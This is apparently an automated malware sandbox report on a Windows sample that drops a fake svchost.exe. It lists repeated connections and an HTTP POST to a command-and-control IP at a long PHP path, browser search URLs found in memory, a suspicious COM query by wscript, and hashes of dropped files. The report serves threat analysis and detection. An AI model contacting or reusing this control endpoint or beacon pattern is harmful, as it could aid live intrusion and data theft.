                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 344Expect: 100-continueConnection: Keep-Alive
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006FCA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.000000000707F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000004FAF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006DC3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://185.106.93.197
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006FCA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.000000000707F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000004FAF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006DC3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/Pro
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://185.106H
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                              Source: svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                              Source: C:\comref\svchost.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior

                              System Summary

                              barindex
                              Windows Scripting host queries suspicious COM object (likely to drop second stage)
                              Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                              Source: C:\comref\svchost.exeProcess Stats: CPU usage > 49%
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002E6FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,0_2_002E6FAA
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002E848E0_2_002E848E
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F00B70_2_002F00B7
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F40880_2_002F4088
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002E40FE0_2_002E40FE
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F71530_2_002F7153
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_003051C90_2_003051C9
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002E32F70_2_002E32F7
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F62CA0_2_002F62CA
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F43BF0_2_002F43BF
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002EC4260_2_002EC426
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002EF4610_2_002EF461
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_0030D4400_2_0030D440
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F77EF0_2_002F77EF
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002E286B0_2_002E286B
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_0030D8EE0_2_0030D8EE
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002EE9B70_2_002EE9B7
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_003119F40_2_003119F4
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F6CDC0_2_002F6CDC
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002F3E0B0_2_002F3E0B
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_00304F9A0_2_00304F9A
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002EEFE20_2_002EEFE2
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB780D7414_2_00007FFAAB780D74
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB9473FB14_2_00007FFAAB9473FB
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB946B7D14_2_00007FFAAB946B7D
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB94696014_2_00007FFAAB946960
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB93094D14_2_00007FFAAB93094D
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB94515514_2_00007FFAAB945155
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB93000A14_2_00007FFAAB93000A
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB946DF314_2_00007FFAAB946DF3
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB946CF214_2_00007FFAAB946CF2
                              Source: Joe Sandbox ViewDropped File: C:\Users\user\Desktop\ApTjSBhc.log A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
                              Source: Joe Sandbox ViewDropped File: C:\Users\user\Desktop\LMrHnriI.log 2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: String function: 002FEB78 appears 39 times
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: String function: 002FF5F0 appears 31 times
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: String function: 002FEC50 appears 56 times
                              Source: LMrHnriI.log.14.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
                              Source: eVuUdNSS.log.14.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
